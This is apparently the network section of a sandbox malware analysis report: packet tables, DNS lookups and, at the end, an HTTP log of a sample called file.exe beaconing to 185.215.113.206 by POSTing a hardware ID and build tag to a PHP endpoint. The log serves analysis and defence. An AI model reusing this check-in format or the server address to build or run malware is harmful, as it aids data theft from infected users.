Oct 31, 2024 07:15:50.546281099 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.546288967 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.546299934 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.546304941 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.548444986 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.548465967 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.548521042 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.548650026 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.548660040 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.550214052 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.550574064 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.550586939 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.551081896 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.551085949 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.558723927 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.558789968 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.558854103 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.558862925 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.558928013 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.558973074 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.559025049 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.559032917 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.559051037 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.559055090 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.561197042 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.561213017 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.561278105 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.561407089 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.561423063 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.681071997 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.681116104 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.681215048 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.681229115 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.681252003 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.681330919 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.681727886 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.681735992 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.681749105 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.681752920 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.683819056 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.683832884 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.683907986 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.684036016 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.684046030 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.931907892 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.931966066 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.932018042 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.932133913 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.932200909 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.932329893 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.932346106 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.932430983 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.932806969 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.932840109 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.932867050 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.932882071 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.935702085 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.935735941 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.935803890 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.935960054 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.935973883 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.264995098 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.265585899 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.265610933 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.266077042 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.266083956 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.281697035 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.282196045 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.282216072 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.282548904 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.282552958 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.306330919 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.306859970 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.306869984 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.307194948 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.307200909 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.413218021 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.413244963 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.413280964 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.413331985 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.413428068 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.413652897 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.413661003 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.413680077 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.413683891 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.416455030 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.416476965 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.416563034 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.416713953 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.416727066 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.437067986 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.437115908 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.437167883 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.437181950 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.437242031 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.437283039 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.437376976 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.437393904 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.437406063 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.437412024 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.439765930 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.439799070 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.439896107 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.440032005 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.440045118 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.509107113 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.509124041 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.509144068 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.509212971 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.509226084 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.509272099 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.624473095 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.624502897 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.624545097 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.624624014 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.624751091 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.624955893 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.624972105 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.624983072 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.624989033 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.627482891 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.627496958 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.627568007 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.627701044 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.627712965 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.660186052 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.660566092 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.660579920 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.661000967 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.661005020 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.705488920 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.705813885 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.705825090 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.706213951 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.706223965 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.789585114 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.789714098 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.789783001 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.789874077 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.789882898 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.789891958 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.789896011 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.792360067 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.792418003 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.792512894 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.792637110 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.792660952 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.842252016 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.842396975 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.842561007 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.842561007 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.842561007 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.844544888 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.844574928 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:51.844643116 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.844769955 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:51.844784975 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.135519028 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.136292934 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.136317015 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.136774063 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.136779070 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.153276920 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.153306007 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.182717085 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.183301926 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.183317900 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.183733940 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.183737993 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.263787031 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.264341116 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.264406919 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.264461040 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.264473915 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.264484882 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.264489889 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.267132044 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.267177105 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.267241955 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.267374992 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.267390966 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.313570023 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.313755989 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.313851118 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.314104080 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.314111948 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.314161062 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.314166069 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.316303015 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.316328049 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.316401958 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.316519976 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.316533089 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.361462116 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.362150908 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.362165928 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.362554073 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.362559080 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.493319035 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.493340969 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.493374109 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.493396997 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.493422031 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.493650913 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.493658066 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.493666887 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.493669987 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.567580938 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.568588018 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.568608999 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.569062948 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.569070101 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.588957071 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.589353085 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.589365005 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.589821100 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.589826107 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.702282906 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.702452898 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.702539921 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.702663898 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.702681065 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.702692986 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.702698946 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.718617916 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.718767881 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.718869925 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.719135046 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.719145060 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.719153881 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.719157934 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.997510910 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.998100042 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.998122931 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:52.998549938 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:52.998555899 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.047662973 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.048093081 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:53.048101902 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.048532963 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:53.048537016 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.128298044 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.128364086 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.128477097 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:53.128848076 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:53.128863096 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.128878117 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:53.128882885 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.175420046 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.175581932 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.175658941 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:53.175745010 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:53.175751925 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:53.175760031 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:53.175764084 CET	443	50027	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 07:14:12.914330006 CET	53	53805	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:12.938266993 CET	53	52348	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:13.100253105 CET	61460	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:14:13.100399971 CET	51972	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:14:13.106981039 CET	53	61460	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:13.107050896 CET	53	51972	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:14.237991095 CET	53	51375	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:18.196775913 CET	53	63438	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:18.218198061 CET	62122	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:14:18.218436956 CET	52117	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:14:18.225147963 CET	53	62122	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:18.225749969 CET	53	52117	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:19.187416077 CET	58869	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:14:19.187660933 CET	64091	53	192.168.2.4	1.1.1.1
Oct 31, 2024 07:14:19.194511890 CET	53	64091	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:19.194705009 CET	53	58869	1.1.1.1	192.168.2.4
Oct 31, 2024 07:14:22.770870924 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 07:14:13.100253105 CET	192.168.2.4	1.1.1.1	0x43eb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:14:13.100399971 CET	192.168.2.4	1.1.1.1	0xe99a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 31, 2024 07:14:18.218198061 CET	192.168.2.4	1.1.1.1	0x7c58	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:14:18.218436956 CET	192.168.2.4	1.1.1.1	0xbd95	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 31, 2024 07:14:19.187416077 CET	192.168.2.4	1.1.1.1	0x586d	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:14:19.187660933 CET	192.168.2.4	1.1.1.1	0xa240	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 07:14:13.106981039 CET	1.1.1.1	192.168.2.4	0x43eb	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:14:13.107050896 CET	1.1.1.1	192.168.2.4	0xe99a	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 31, 2024 07:14:18.225147963 CET	1.1.1.1	192.168.2.4	0x7c58	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 07:14:18.225147963 CET	1.1.1.1	192.168.2.4	0x7c58	No error (0)	plus.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 07:14:18.225749969 CET	1.1.1.1	192.168.2.4	0xbd95	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 07:14:19.194705009 CET	1.1.1.1	192.168.2.4	0x586d	No error (0)	play.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

fs.microsoft.com

slscr.update.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 07:14:03.873341084 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 07:14:04.781307936 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:04.783804893 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 35 32 35 35 39 43 38 43 36 33 37 34 38 31 34 30 37 33 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="hwid"9C52559C8C63748140731------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="build"tale------BKKKFCFIIJJKKFHIEHJK--
Oct 31, 2024 07:14:05.075016975 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6a 45 33 5a 6a 67 33 4e 57 5a 6c 4d 6a 63 79 4e 6a 4d 7a 5a 44 56 6d 4e 44 42 6c 4d 6a 41 34 5a 6a 49 33 4e 6a 49 79 4d 47 4e 6c 5a 6a 59 35 59 6d 59 77 59 6a 42 6c 4f 57 51 79 4e 57 4d 77 59 54 67 34 4e 32 49 34 4d 54 6c 69 59 57 59 79 4e 44 63 78 4d 32 4d 30 4e 44 64 6c 4f 44 63 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: 